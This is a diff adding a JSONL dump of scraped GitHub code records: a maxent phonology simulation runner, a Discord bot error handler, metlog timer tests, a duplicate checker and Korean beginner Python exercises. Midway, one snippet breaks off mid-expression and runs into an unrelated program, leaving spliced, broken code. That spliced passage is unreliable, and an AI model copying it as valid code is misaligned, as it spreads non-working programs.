diff --git "a/3589.jsonl" "b/3589.jsonl" new file mode 100644--- /dev/null +++ "b/3589.jsonl" @@ -0,0 +1,171 @@ +{"seq_id":"72369291496","text":"#!/usr/bin/env python3\n# *-* coding: utf-8 *-*\n\n#standard modules\nimport os, shutil, subprocess, time, itertools\n\n#custom modules\nimport fileopen as fo\nimport proj_maker, fix_input_files, datasampler, dflt_grammar, agree_disagree\n\n\n\ndef cleanUpWorkdir(basepath, removeprojfile=True, cleanoutput = True, igerr=True):\n \"\"\"\n removes the contents of maxentworkingpath and empties the projections directory\n everything inside maxentworkingpath (see below for location of that) will be overwritten each time this is run\n basepath is the directory that contains 'code' and maxent2.\n cleanoutput will delete any directory that starts with 'output' inside basepath. (not recursively)\n if you want to be more cautious, set 'igerr' to \"False\"; the default is to ignore errors thrown up by rmtree deletion function.\n \"\"\"\n if not 'code' in os.listdir(basepath) or not 'maxent2' in os.listdir(basepath):\n print('there is no \"code\" folder inside the base path folder you entered. please check location and try again.')\n maxentworkingpath = os.path.join(basepath,'maxent2','temp')\n projdir = os.path.join(basepath,'projections')\n if 'temp' in os.listdir(basepath):\n shutil.rmtree(os.path.join(basepath,'temp'), ignore_errors=igerr)\n if 'temp' in os.listdir(os.path.join(basepath,'maxent2')):\n if removeprojfile:\n shutil.rmtree(maxentworkingpath, ignore_errors=igerr)\n os.mkdir(maxentworkingpath)\n if not removeprojfile:\n files = [x for x in os.listdir(maxentworkingpath) if not x=='projections.txt']\n for x in files:\n os.remove(os.path.join(maxentworkingpath, x))\n #os.mkdir(maxentworkingpath)\n else:\n os.mkdir(maxentworkingpath)\n if 'projections' in os.listdir(basepath):\n shutil.rmtree(projdir, ignore_errors=igerr)\n os.mkdir(projdir)\n else:\n os.mkdir(projdir)\n if cleanoutput:\n outdirs = [x for x in os.listdir(basepath) if x.startswith('output') or x.startswith('projections') or x == 'alsorans']\n for x in outdirs:\n shutil.rmtree(os.path.join(basepath, x), ignore_errors=igerr)\n# if not 'output_baseline' in os.listdir(basepath):\n# os.mkdir(os.path.join(basepath,'output_baseline'))\n# for folder in os.listdir(basepath):\n# if folder.endswith('Projection'):\n# shutil.rmtree(os.path.join(basepath,folder), ignore_errors=igerr)\n\n \ndef makeSimFiles(language, outpath=os.path.join(os.getcwd().split('code')[0], 'maxent2', 'temp'), testDataToUse=1/5, predefault=False, ag_disag=False):\n \"\"\"\n makes corpus.txt, test.txt, learning.txt files compatible with the command line learner\n If not given a test data file, it will use 1/5th of the learning data file to make a random subset (or the amount you specify in the last arg)\n \"\"\"\n inpath = os.path.join(os.getcwd().split('code')[0], 'data', language)\n fix_input_files.fixFeatureFile(inpath, outpath)\n #make a test file from 1/5th of the data, then make a learning file from what remains\n if \"TestingData.txt\" in os.listdir(inpath):\n fix_input_files.fixDataFile(inpath, typ = 'test')\n fix_input_files.fixDataFile(inpath, typ='learning')\n #otherwise we'll make one out of 20% of your learning data and withhold it:\n else:\n #converting LearningData.txt to 'corpus.txt':\n fix_input_files.fixDataFile(inpath, typ='learning')\n corpath = os.path.join(outpath, 'corpus.txt')#'LearningData.txt')\n testdatapath = os.path.join(outpath, 'test.txt')#'TestingData.txt')\n newlearndatapath = os.path.join(outpath,'subcorpus.txt')\n #make a random sample file using specified amount of data\n datasampler.makeRandomTestFile(corpath, testdatapath, newlearndatapath, testDataToUse) \n #fix_input_files.fixDataFile(testdatapath, typ='test')\n os.remove(os.path.join(outpath, 'corpus.txt'))\n os.rename(os.path.join(outpath, 'subcorpus.txt'), os.path.join(outpath, 'corpus.txt'))\n #if you want to turn on the preselection option\n if predefault:\n dflt_grammar.makeDefGramFile(inpath)\n if ag_disag:\n agree_disagree.make_gram_file()\n\n\ndef copyTestFiles(grammarpath, testfilepath):\n '''\n for testing an existing grammar.\n this copies a grammar.txt file and a projections.txt file to the maxent directory, and a test file and a features file to the maxent directory\n grammarpath leads to the locatioon of grammar.txt, and testfilepath to TestingData.txt.\n '''\n maxentpath = os.path.join(os.getcwd().split('code')[0], 'maxent2', 'temp')\n testfiledir = testfilepath.split('TestingData.txt')[0]\n fix_input_files.fixFeatureFile(testfiledir, maxentpath)\n fix_input_files.fixDataFile(testfiledir, typ='test')\n with open(os.path.join(maxentpath, 'params.txt'), 'w', encoding='utf-8') as f:\n f.write('-test\\ttest.txt\\n-grammar\\tgrammar.txt\\n-projections\\tprojections.txt\\n-features\\tfeatures.txt')\n shutil.copy(grammarpath, os.path.join(maxentpath, 'grammar.txt'))\n projections = os.path.join(grammarpath.split('grammar.txt')[0], 'projections.txt')\n shutil.copy(projections, os.path.join(maxentpath, 'projections.txt'))\n\ndef makeJarPaths(basepath):\n \"\"\"\n do not call this function directly, it gets invoked by setJVOptions.\n this just pastes a bunch of jar files together into a path that gets passed to the java run of maxent.\n by default, jardir will be in basepath+'maxent2/jar'\n returns a string that is passed to setJVOptions (the function will be called via the basepath arg)\n \"\"\"\n jardir = os.path.join(basepath,'maxent2','jar')\n extdir = os.path.join(basepath,'maxent2','extern')\n jarfiles = [x for x in os.listdir(jardir) if not x.startswith('.')]\n extjarfiles = [x for x in os.listdir(extdir) if not x.startswith('.')]\n jarpaths = [os.path.join(jardir, x) for x in jarfiles]\n extpaths = [os.path.join(extdir, x) for x in extjarfiles]\n alljar=':'.join(jarpaths+extpaths)\n return alljar\n\ndef setJVOptions(basepath, reducemem=True, timeoutinsec=False):\n '''\n do not call this directly, it gets called by one of the simulation functions (runBaselineSim, for example)\n basepath is where maxent2 is located (see makeJarPaths)\n reducemem should be set if you are working with limited RAM. Something around 4GB is not enough to run certain complex simulations; for example, Quechua runs on that setting but Latin does not.\n timeout should be set to something other than False if you are pressed for time. timeout=1000 will set it to 1000 seconds (16.6 min)\n '''\n alljar = makeJarPaths(basepath)\n JVOptions = ['java', '-cp', alljar, 'edu.jhu.maxent.Maxent', 'params.txt'] #-cp adds the files listed in alljar to classpath; add it every time \n if reducemem:\n JVOptions.append('-Xmx2g')\n if timeoutinsec:\n JVOptions.append('timeout='+str(timeoutinsec)) \n return JVOptions\n\ndef getMaxentHelp(basepath=os.getcwd().split('code')[0]):\n '''\n this is dumb but probably helpful. it allows you to call the help file without having to put all the paths in the command line.\n '''\n os.chdir(os.path.join(basepath,'maxent2'))\n alljar = makeJarPaths(basepath)\n JVOptions = ['java', '-cp', alljar, 'edu.jhu.maxent.Maxent', '-help']\n gethelp=subprocess.run(JVOptions)\n os.chdir(basepath)\n\n\ndef saveNatClasses(featfile=os.path.join('maxent2', 'temp', 'features.txt')):\n '''\n calls features.jar, which makes a natural classes file\n packages everything into a dictionary\n the featfilepath should point to a file that's been processed by fix_input_files.fixFeatureFile.\n this normally happens in the course of running a simulation, but a normal place for it is in maxent2/temp/features.txt.\n '''\n basepath=os.getcwd().split('code')[0]\n os.chdir(os.path.join(basepath,'maxent2'))\n alljar = makeJarPaths(basepath)\n features = os.path.join(basepath, featfile)\n JVOptions = ['java', '-cp', alljar, 'edu.jhu.features.NaturalClasses', features]\n natclassfile = open(os.path.join(basepath,'maxent2','temp', 'naturalclasses.txt'), 'w', encoding='utf-8')\n natclassprocess = subprocess.run(JVOptions, check=True, stdout=natclassfile)\n natclassfile.close()\n os.chdir(basepath)\n\n\ndef readNatClasses(cleanup=False):\n basepath = os.getcwd().split('code')[0]\n natclassfile = os.path.join(basepath,'maxent2', 'temp', 'naturalclasses.txt')\n nclassdic= {}\n natclasses = open(natclassfile, 'r').readlines()\n for line in natclasses[1:]:\n line = line.strip().split('\\t')\n classname = line[1].strip('[]').replace(',', '')\n simname = line[1].strip('[]')\n features = simname.split(',')\n segments = line[2].strip('()').split(',')\n nclassdic[classname] = {'features': features,\n 'segments': segments,\n 'classname': simname\n }\n if cleanup:\n os.remove(natclassfile)\n return nclassdic\n \ndef runBaselineSim(basepath, reducemem=True, timeoutinsec=False, rt_output_baseline=True):\n \"\"\"\n this will run a simulation with just a default projection.\n basepath is the location of maxent2/temp.\n if you don't go with the default, make sure your selections work with what cleanUpWorkdir is doing\n reducemem will have to be reset to \"True\" in the code itself, as will timeoutinsec\n (these reduce working memory demands and set a default timeout setting for simulations; might be needed if you are working on a slow computer)\n \"\"\"\n JVOptions = setJVOptions(basepath, reducemem, timeoutinsec)\n maxentoutput=open(os.path.join(basepath, 'maxent2', 'temp', 'maxentoutput.txt'), 'w', encoding='utf-8')\n features = os.path.join(basepath,'temp', 'Features.txt')\n maxentworkingpath = os.path.join(basepath,'maxent2', 'temp')\n os.chdir(maxentworkingpath)\n proj_maker.makeDefaultProj(path=maxentworkingpath, featfile=features)\n print(\"Running the baseline simulation now.\")\n try:\n #this is the line that runs the java process (the actual maxent simulation):\n basesimulation = subprocess.run(JVOptions, check=True, stdout=maxentoutput)\n maxentoutput.close()\n removeLrnDatafromMEOut(os.path.join(maxentworkingpath, 'maxentoutput.txt'))\n #copy files to outpath:\n outfiles = ['grammar.txt', 'projections.txt', 'tableau.txt', 'maxentoutput.txt']\n if rt_output_baseline:\n if 'output_baseline' not in os.listdir(basepath):\n os.mkdir(os.path.join(basepath, 'output_baseline'))\n outpath = os.path.join(basepath, 'output_baseline')\n else:\n if 'output_baseline' not in os.listdir(maxentworkingpath):\n os.mkdir(os.path.join(maxentworkingpath, 'output_baseline'))\n outpath = os.path.join(maxentworkingpath, 'output_baseline')\n for f in os.listdir(maxentworkingpath):\n if f in outfiles:\n shutil.copy(os.path.join(maxentworkingpath, f), os.path.join(outpath, f))\n print('Done with baseline simulation.')\n except:\n print('The baseline simulation failed. It might have run out of memory, or there is a problem with your data files. To diagnose the problem, start by checking the contents of maxent2/temp/maxentoutput.txt.')\n os.chdir(basepath)\n\n\ndef testGrammar(grammarpath, testfilepath):\n '''\n tests an existing grammar file\n '''\n basepath = os.getcwd().split('code')[0]\n outpath = os.path.join(grammarpath.split('grammar.txt')[0], 'test_'+ time.strftime('%Y-%m-%d-%H_%M'))\n JVOptions = setJVOptions(basepath)\n copyTestFiles(grammarpath,testfilepath)\n maxentworkingpath = os.path.join(basepath, 'maxent2', 'temp')\n maxentoutput = open(os.path.join(maxentworkingpath, 'maxentoutput.txt'), 'w', encoding='utf-8')\n os.chdir(maxentworkingpath)\n print(\"Testing your grammar now\")\n try:\n basesimulation = subprocess.run(JVOptions, check=True, stdout=maxentoutput)\n maxentoutput.close()\n except:\n print(\"Something went wrong and the testing of your grammar failed.\")\n outfiles = ['tableau.txt', 'maxentoutput.txt']\n os.mkdir(outpath)\n for f in outfiles:\n shutil.move(os.path.join(maxentworkingpath,f), os.path.join(outpath, f))\n os.chdir(basepath)\n\n\n\n\ndef makeProjection(basepath, projtype, mb):\n '''\n basepath is where the temp is located (needed to have access to original Features.txt). make it end in '/'\n type argument can be chosen from: \n \"wb\" : takes word boundary-adjacent natural classes, finds all superset classes that contain them and makes a proj file for each\n '''\n grammar = os.path.join(basepath, 'output_baseline', 'grammar.txt')\n maxentoutputpath=os.path.join(basepath,'output_baseline','maxentoutput.txt')\n maxentworkingpath=os.path.join(basepath, 'maxent2','temp')\n features = os.path.join(maxentworkingpath, 'features.txt')\n projectiondir = os.path.join(basepath,'projections')\n if not os.path.exists(projectiondir):\n os.mkdir(projectiondir)\n proj_maker.makeWBProj(grammar, features, projectiondir, mb)\n if os.path.exists(projectiondir):\n if os.listdir(projectiondir):\n shutil.copy(os.path.join(projectiondir, 'projections.txt'), os.path.join(maxentworkingpath, 'projections.txt'))\n else:\n pass\n\ndef handmakeProjection(basepath, feature):\n '''\n basepath: where temp is located\n feature: if you pass this something like \"+sonorant\" or \"-round\", it will look up the features in the file associated with your data.\n otherwise, you can give it a path to a handmade projections file. if you want to do that, give it the full path starting with '/'. for example,\n \"/Users/yourname/Desktop/projections.txt\"\n if the second argument ends in \"projections.txt\", all that will happen is your projections file will get copied to the maxent2/temp directory.\n this function calls proj_maker.makeHandmadeProj(), passes two paths to it and a feature name.\n it is called by run_sim.runHandProjSim(), which takes path and feature from it\n '''\n maxentworkingpath=os.path.join(basepath,'maxent2','temp')\n features = os.path.join(maxentworkingpath, 'features.txt')\n if feature.endswith('projections.txt'):\n shutil.copy(feature, os.path.join(maxentworkingpath,'projections.txt'))\n print('copied your custom file to the temp directory')\n else:\n proj_maker.makeHandmadeProj(maxentworkingpath, feature, features)\n print('made a projection file for just default and a tier based on ' + feature)\n\n\n\ndef runCustomSim(feature=None, simtype='custom', basepath=os.getcwd().split('code')[0], reducemem=True, package=True):\n '''\n runs one simulation with a default tier plus a single additional tier.\n that tier can be based on a feature, or supplied manually.\n simtype defaults to 'custom' (proj file is either made from scratch given a command line feature spec or taken from an existing projection file, handpicked)\n '''\n print(\"Running simulation using new special projection\")\n compoptions=setJVOptions(basepath, reducemem)\n maxentworkingpath=os.path.join(basepath,'maxent2','temp')\n maxentoutput=open(os.path.join(maxentworkingpath,'maxentoutput.txt'), 'w', encoding='utf-8')\n os.chdir(maxentworkingpath)\n if feature !=None and feature.endswith('.txt'):\n feature = feature.split('.txt')[0]\n outfiles=['grammar.txt', 'projections.txt', 'tableau.txt', 'maxentoutput.txt']\n try:\n projsimulation=subprocess.run(compoptions, check=True, stdout=maxentoutput)\n maxentoutput.close()\n if package:\n if simtype=='custom':\n simdir = os.path.join(basepath,'output_custom_'+feature)\n elif simtype=='wb': \n simdir = os.path.join(basepath, 'output_final')\n os.mkdir(simdir)\n for f in outfiles:\n shutil.copy(os.path.join(maxentworkingpath, f), os.path.join(simdir, f))\n print('Done with simulation.')\n except:\n print('The simulation failed. It might have run out of memory, or there is a problem with your data files. To diagnose the problem, start by checking the contents of maxent2/temp/maxentoutput.txt.')\n os.chdir(basepath)\n\ndef readParamsFromMaxentFile(maxentoutputfile):\n with open(maxentoutputfile, 'r', encoding='utf-8') as f:\n args = f.readline().strip('\\n').split(',')\n\n\ndef duplicateSimChecker(basepath):\n sims = [x for x in os.listdir() if x.startswith('output_')]\n currentproj_path = os.path.join(basepath, 'maxent2', 'temp', 'projections.txt')\n simexists = False\n currentproj = open(currentproj_path, 'r', encoding='utf-8').readlines()\n for path in sims:\n proj = open(os.path.join(basepath, path, 'projections.txt'), 'r', encoding='utf-8').readlines()\n if currentproj == proj:\n simexists = True\n projpath = path\n else:\n continue\n if simexists:\n return projpath\n else:\n return False \n\n\ndef removeLrnDatafromMEOut(pathtomaxentoutputfile):\n '''\n this is a utility function that serves to make maxentoutput.txt files smaller.\n by default, they include all the words from the learning and training data, which if you run a lot of simulations can really add to the size of the simulation directories.\n this opens up a maxentoutput file, takes out the data, and saves everything else.\n '''\n maxentfile=open(pathtomaxentoutputfile, 'r', encoding='utf-8')\n nondataoutput = []\n for line in maxentfile:\n if line.split(',')[0]!='[<#':\n nondataoutput.append(line)\n maxentfile.close()\n maxentout = open(pathtomaxentoutputfile, 'w', encoding = 'utf-8')\n for item in nondataoutput:\n maxentout.write(item)\n maxentout.close()\n\n\n\n\ndef wrapSims(pathtotargetlocation, basepath=os.getcwd().split('code')[0], copyuserfiles = False, date=True, ret=False, cust=False):\n '''\n the pathtotargetlocation argument specifies where you want the results of the simulation to be placed.\n all files called 'output...' and 'projections...' will be moved to the new location.\n if your features or learning data vary between simulations, set copyuserfiles to True. it defaults to 'false'\n '''\n os.chdir(basepath)\n if date:\n rightnow = time.strftime(\"%Y-%m-%d_\")\n else:\n rightnow=''\n if pathtotargetlocation.startswith('sims'):\n pathtotargetlocation=os.path.split(pathtotargetlocation)[1]\n pathtotargetlocation=os.path.join('sims',rightnow+pathtotargetlocation)\n counter = 1\n try:\n os.mkdir(pathtotargetlocation)\n except FileNotFoundError:\n print('path to target location, file not found error ' + pathtotargetlocation)\n except FileExistsError:\n if not os.path.isdir(pathtotargetlocation+'_'+str(counter)):\n pathtotargetlocation=pathtotargetlocation+'_'+str(counter)\n os.mkdir(pathtotargetlocation)\n else:\n counter += 1\n pathtotargetlocation=pathtotargetlocation+'_'+str(counter)\n os.mkdir(pathtotargetlocation)\n if 'projections' in os.listdir(basepath) and os.listdir(os.path.join(basepath, 'projections')) == []:\n shutil.rmtree('projections', ignore_errors=True)\n files = [x for x in os.listdir(basepath) if x.startswith('output') or x =='alsorans']\n if cust:\n files = [x for x in os.listdir(os.path.join(basepath, 'maxent2','temp')) if x in ['maxentoutput.txt', 'projections.txt', 'tableau.txt', 'grammar.txt']]\n else:\n files = [x for x in os.listdir(basepath) if x.startswith('output') or x.startswith('projections') or x == 'alsorans']\n for fi in files:\n if not cust:\n os.renames(fi, os.path.join(pathtotargetlocation,fi))\n else:\n os.renames(os.path.join('maxent2','temp', fi), os.path.join(pathtotargetlocation, 'output_final', fi))\n if copyuserfiles:\n userfiles = [x for x in os.listdir(basepath) if not x.startswith('.')]\n for fi in userfiles:\n if not fi in os.listdir(pathtotargetlocation):\n os.renames(fi, os.path.join(pathtotargetlocation,fi))\n print('files have been moved to '+ pathtotargetlocation)\n if 'temp' in os.listdir(basepath):\n shutil.rmtree('temp', ignore_errors=True)\n os.chdir('code')\n if ret==True:\n return pathtotargetlocation\n","repo_name":"gouskova/inductive_projection_learner","sub_path":"code/simfunc.py","file_name":"simfunc.py","file_ext":"py","file_size_in_byte":21656,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"} +{"seq_id":"10681115422","text":"from motor.motor_asyncio import AsyncIOMotorClient\nimport aioredis\nimport json\nfrom os import environ as env\nimport asyncio\nimport traceback\nimport sys\nfrom datetime import datetime\n\nfrom dbots.cmd import *\nfrom dbots.utils import *\n\nfrom util import *\n\n\nclass Clancy(InteractionBot):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.mongo = AsyncIOMotorClient(env.get(\"MONGO_URL\", \"mongodb://localhost\"))\n self.db = self.mongo.xenon\n\n self._receiver = aioredis.pubsub.Receiver()\n\n async def on_command_error(self, ctx, e):\n if isinstance(e, asyncio.CancelledError):\n raise e\n\n elif isinstance(e, MissingWebhookPermissions):\n await ctx.respond(\"The bot **needs `Manage Webhooks` permissions** for this command.\", ephemeral=True)\n\n else:\n tb = \"\".join(traceback.format_exception(type(e), e, e.__traceback__))\n print(\"Command Error:\\n\", tb, file=sys.stderr)\n\n error_id = unique_id()\n await self.redis.setex(f\"cmd:errors:{error_id}\", 60 * 60 * 24, json.dumps({\n \"command\": ctx.command.full_name,\n \"timestamp\": datetime.utcnow().timestamp(),\n \"author\": ctx.author.id,\n \"traceback\": tb\n }))\n await ctx.respond_with_source(\n \"An unexpected error occurred. Please report this on the \"\n \"[Support Server](https://discord.gg/m28chYBEEj).\\n\\n\"\n f\"**Error Code**: `{error_id.upper()}`\"\n )\n","repo_name":"merlinfuchs/clancy","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"9275649678","text":"from metlog.client import _Timer, MetlogClient\nfrom mock import Mock\nfrom nose.tools import assert_raises, eq_, ok_\n\nimport threading\nimport time\n\n\ntimer_name = 'test'\n\n\ndef _make_em():\n mock_client = Mock(spec=MetlogClient)\n timer = _Timer(mock_client, timer_name, {})\n return mock_client, timer\n\n\ndef test_only_decorate_functions():\n mock_client, timer = _make_em()\n\n def bad_timer_arg():\n timer('foo')\n assert_raises(ValueError, bad_timer_arg)\n\n\ndef test_contextmanager():\n mock_client, timer = _make_em()\n with timer as timer:\n time.sleep(0.01)\n\n eq_(mock_client.timer_send.call_count, 1)\n timing_args = mock_client.timer_send.call_args[0]\n eq_(timing_args[0], timer_name)\n ok_(timing_args[1] >= 10)\n eq_(timing_args[1], timer.result)\n\n\ndef test_decorator():\n mock_client, timer = _make_em()\n\n @timer\n def timed():\n time.sleep(0.01)\n\n timed()\n eq_(mock_client.timer_send.call_count, 1)\n timing_args = mock_client.timer_send.call_args[0]\n eq_(timing_args[0], timer_name)\n ok_(timing_args[1] >= 10)\n\n\ndef test_attrs_threadsafe():\n mock_client, timer = _make_em()\n\n def reentrant(val):\n sentinel = object()\n if getattr(timer, 'value', sentinel) is not sentinel:\n ok_(False, \"timer.value already exists in new thread\")\n timer.value = val\n\n t0 = threading.Thread(target=reentrant, args=(10,))\n t1 = threading.Thread(target=reentrant, args=(100,))\n t0.start()\n time.sleep(0.01) # give it enough time to be sure timer.value is set\n t1.start() # this will raise assertion error if timer.value from other\n # thread leaks through\n","repo_name":"mozilla-services/metlog-py","sub_path":"metlog/tests/test_timer.py","file_name":"test_timer.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"90"} +{"seq_id":"72422350378","text":"def has_duplicates(list):\n '''Takes a list, checks and returns True if any element repeats,\n or False if it doesn't'''\n sortlist = sorted(list) # Variable that stores the sorted list\n \n # for loop that iterates through the items on sort list\n for i in range(len(sortlist)):\n # to check if we have gotten to the last item in the list\n # if we haven't found any duplicate at this point, nothing is next\n if i == len(sortlist) - 1:\n return False\n # Compares current item with the next item. \n if sortlist[i] == sortlist[i+1]:\n return True\n\n \n \nprint(has_duplicates([1, 2, 3, 4, 5]))\nprint(has_duplicates([1, 2, 2, 3, 4, 5, 5, 5]))","repo_name":"FailedRift/ThinkPython","sub_path":"ex10_7.py","file_name":"ex10_7.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18245917439","text":"from collections import deque\nx,y,a,b,c=map(int,input().split())\np=sorted(list(map(int,input().split())),reverse=True)\nq=sorted(list(map(int,input().split())),reverse=True)\nr=deque(sorted(list(map(int,input().split())),reverse=True))\np=deque(p[:x])\nq=deque(q[:y])\nans=sum(p)+sum(q)\n\nwhile p[-1]= a :\n remain = remain - a\n count = count + 1\n elif remain >= b :\n remain = remain - b\n count = count + 1\n elif remain >= c :\n remain = remain - c\n count = count + 1\n elif remain <= 0 :\n print(count)\n break\n else :\n print('-1')\n break\n\n\n\"\"\"\n마천루\n\n코더랜드의 유능한 건축가 엘리스 토끼는 모자장수로부터 새로운 사업을 제안 받았습니다.\n\n바로 코더랜드 한가운데 마천루를 지어 관광객을 유치하는 사업이였습니다.\n\n지시사항을 참고하여 코드를 작성하세요.\n\n\n지시사항\n1. 마천루의 높이를 사용자로부터 입력받아 아래의 조건을 참고하여 사용자가 입력한 만큼의 높이를 가지는 마천루를 출력하세요.\n2. 상위 1~5층은 각각 1, 2, 3, 4, 5개의 *로 구성되어있습니다.\n3. 6층부터는 5개의 *로 구성되어있습니다.\n\"\"\"\n# 지시사항을 참고하여 코드를 작성하세요.\n\nnum = int(input())\n\nstar = 1\nfor i in range(num) : #num만큼 반복 !\n print('*' * star)\n if star > 4 :\n break\n star = star + 1\nfor j in range(num-5) :\n print('*' * 5)\n\n\n\"\"\"\n문자열 앞뒤 검사하기\n\n회문(Palindrome)은 토마토맛토마토, 다시합창합시다와 같이 앞에서 읽으나 뒤에서 읽으나 같은 문자열을 의미합니다. 엘리스 토끼는 이런 회문을 검사하는 기계를 만들려고 합니다.\n\n회문 검사 방식은 아래와 같습니다.\n아래처럼 길이가 nnn인 문자열이 입력으로 주어집니다.\n이때, 111번째 글자와 nnn번째 글자가 같은지 다른지를 비교합니다. 계속해서 222번째 글자와 n−1n-1n−1번째 글자, 333번째 글자와 n−2n-2n−2번째 글자 순서로 비교합니다.\n\n지시사항을 참고하여 코드를 작성하세요.\n\n\n지시사항\n1. 사용자로부터 문자열을 입력받고 문자열의 앞에서 iii번째 문자와 뒤에서 iii번째 문자가 같은지 비교한 후 두 문자가 같다면 Same을, 다르다면 Different를 출력합니다.\n\"\"\"\n# 지시사항을 참고하여 코드를 작성하세요.\n\nmy_str = str(input())\n\nfirst = 0\nlast = -1\nN = len(my_str) // 2\n\nfor i in range(N) : #my_str을 2로 나눈것만큼만 반복했음 좋겠엉,,\n if my_str[first] == my_str[last] :\n print('Same')\n else :\n print('Different')\n first = first + 1\n last = last - 1\n\n\n\"\"\"\n어서오세요! 커피전문점 수타박수입니다!\n\n세계에서 가장 맛있는 커피를 파는 수타박수에서는 매일 많은 사람들이 커피를 마시기 위해 방문하는 장소입니다.\n\n엘리스 토끼는 보다 정확한 금액을 계산하기 위해 계산기를 만드려고 합니다.\n\n수타박수의 메뉴와 가격은 아래와 같습니다.\n\n음료 종류\tPrice\n아메리카노\t4100\n카페라떼\t4600\n카라멜마끼아또\t5100\n지시사항을 참고하여 코드를 작성하세요.\n\n지시사항\n1. 사용자로부터 손님의 수를 입력 받습니다.\n\n2. 입력받은 손님의 수 만큼 음료 주문을 받습니다.\n손님은 음료 명으로 주문을 합니다.\n주문은 수타박수에서 판매 중인 음료만 받습니다.\n\n3. 주문한 메뉴의 총 가격을 출력합니다.\n\"\"\"\n# 지시사항 1번을 참고하여 코드를 작성하세요.\nguest = int(input())\n\n# 지시사항 2번을 참고하여 코드를 작성하세요.\n\ntotal = 0\nmenu = {'아메리카노':4100, '카페라떼':4600, '카라멜마끼아또':5100}\n\nfor i in range(guest) :\n order = input()\n if order == '아메리카노' :\n total = total + menu['아메리카노']\n elif order == '카페라떼' :\n total = total + menu['카페라떼']\n elif order == '카라멜마끼아또' :\n total = total + menu['카라멜마끼아또']\n\n# 지시사항 3번을 참고하여 코드를 작성하세요.\nprint(total)\n\n\n\"\"\"\n반쪽짜리 피라미드\n\n엘리스 토끼는 사용자가 입력한 숫자만큼 높이를 가지는 반쪽 피라미드를 만들어주는 프로그램을 만들려고 합니다.\n\n지시사항을 참고하여 코드를 작성하세요.\n\n\n지시사항\n1. 사용자로부터 자연수를 입력받고 입력된 숫자만큼 높이를 가지는 반쪽 피라미드를 출력하세요.\n\"\"\"\n# 지시사항을 참고하여 코드를 작성하세요.\nn = int(input())\n\nstar = 1\n\nfor i in range(n):\n print((' ' * (n-star)) + ('*' * star))\n star = star + 1\n\n\n\"\"\"\n더치페이 계산하기\n\nA, B, C 세명의 친구는 점심을 함께 먹고 각자 먹은 메뉴에 따라 계산하기로 했습니다.\n\n세명의 친구가 각각 메뉴를 하나씩만 주문했다면 쉽게 계산이 가능했겠지만, B는 2개의 메뉴를 주문하고 C는 3개를 주문했습니다.\n\n거기에 세명이 함께 먹는 사이드메뉴까지 포함되어 있어서 이를 반영해서 각자 지불할 금액을 계산하는 프로그램을 만드려고 합니다.\n\n지시사항을 참고하여 A, B, C 가 각각 지불해야하는 금액을 출력하는 프로그램을 제작하세요.\n\n\n지시사항\n1.menu 라는 딕셔너리에 메뉴명을 키로, 메뉴의 가격을 값으로 저장되어 있습니다.\n\n2. 이들이 주문한 내역은 먹은사람,메뉴이름,수량의 형태로 사용자로부터 입력받습니다. 만약 세명이 다같이 먹은 메뉴라면 K로 표시합니다.\n\n3. -1을 입력하면 입력을 중단합니다.\n\n4. 각자 지불할 금액을 계산하여 아래와 같이 출력합니다.\n\"\"\"\nmenu={\"떡볶이\":5000,\n\"김밥\":2000,\n\"튀김세트\":3000,\n\"순대\":4000,\n\"라면\":6000,\n\"콜라\":1000,\n\"사이다\":1000\n}\n\na=0 # A가 먹은 금액\nb=0 # B가 먹은 금액\nc=0 # C가 먹은 금액\n\nk=0 # 함께 먹은 금액\n\nwhile True:\n # 좌측의 지시사항 2번, 3번을 구현하세요\n order = list(input().split(',')) #[A,라면,1]\n if order[0] == 'A' :\n a = a + int(menu[order[1]]) * int(order[2])\n elif order[0] == 'B' :\n b = b + int(menu[order[1]]) * int(order[2])\n elif order[0] == 'C' :\n c = c + int(menu[order[1]]) * int(order[2])\n elif order[0] == 'K' :\n k = k + int(menu[order[1]]) * int(order[2]) // 3\n else :\n print ('A',a + k)\n print ('B',b + k)\n print ('C',c + k)\n break\n\n\n\"\"\"\n좋아하는 숫자만 골라내기\n\n알파벳과 숫자가 섞인 문자열에서 특정 숫자를 골라내는 프로그램을 제작하려고 합니다.\n\n지시사항을 따라 프로그램을 완성하세요.\n\n\n지시사항\n이 프로그램은 문자열에서 0,1,4을 제외한 숫자를 골라서 리스트로 출력하는 프로그램입니다.\n\n동작순서\n1. 사용자로부터 문자열을 입력받습니다.\n\n2. 문자열을 첫번째 문자부터 순서대로 보면서 좋하하는 숫자 목록인 num_tuple에 포함된 숫자라면 리스트 result에 추가합니다.\n\n3. 완성된 리스트 result를 출력합니다.\n\n4. 단 result에 숫자가 5개가 되면 그대로 출력합니다.\n\"\"\"\nnum_tuple = ('2','3','5','6','7','8','9')\n\nresult = []\n\ntext = input()\n\nn = 0 #num_tuple의 index\n\nfor i in text :\n for j in num_tuple :\n if i == j :\n result.append(i)\n n = n + 1\n if len(result) == 5 :\n break\n \nprint(result) #완성된 result 출력 (지시사항 3번)\n\n\n\"\"\"\n잘린 피라미드 만들기\n여러분 모두 반복문을 배우면서 많은 피라미드를 만들어보셨을 겁니다.\n\n이번에는 중간부터 시작하는 조금 독특한 잘린 피라미드를 만들어보려고 합니다.\n\n잘린 피라미드는 다음과 같은 피라미드를 의미합니다.\n\n***\n****\n*****\n******\n\n위의 피라미드는 *3개부터 시작해서 *6개로 끝나는 피라미드네요!\n\n아래 조건을 모두 만족하는 피라미드를 만드는 프로그램을 완성하세요\n\n\n지시사항\n\n동작과정\n1. 사용자는 숫자 2개를 다음과 같이 입력합니다.\n4,8\n\n2. 1번에서 4,8의 의미는 4개로 시작해서 8개로 끝나는 피라미드라는 의미입니다.\n\n3. 2번에서 해석한 그대로 아래처럼 *로 구성된 피라미드를 출력하시면 됩니다.\n\n****\n*****\n******\n*******\n********\n\n단, 피라미드가 길어지면 다음줄로 넘어갈 수 있어서 피라미드의 최대 폭은 15로 제한합니다. 즉, 사용자가 4,100이라는 입력을 해도 우리는 4,15라는 피라미드를 그릴 겁니다.\n\n주의사항\n1. 우리는 뒤집힌 피라미드는 허용하지 않을려고 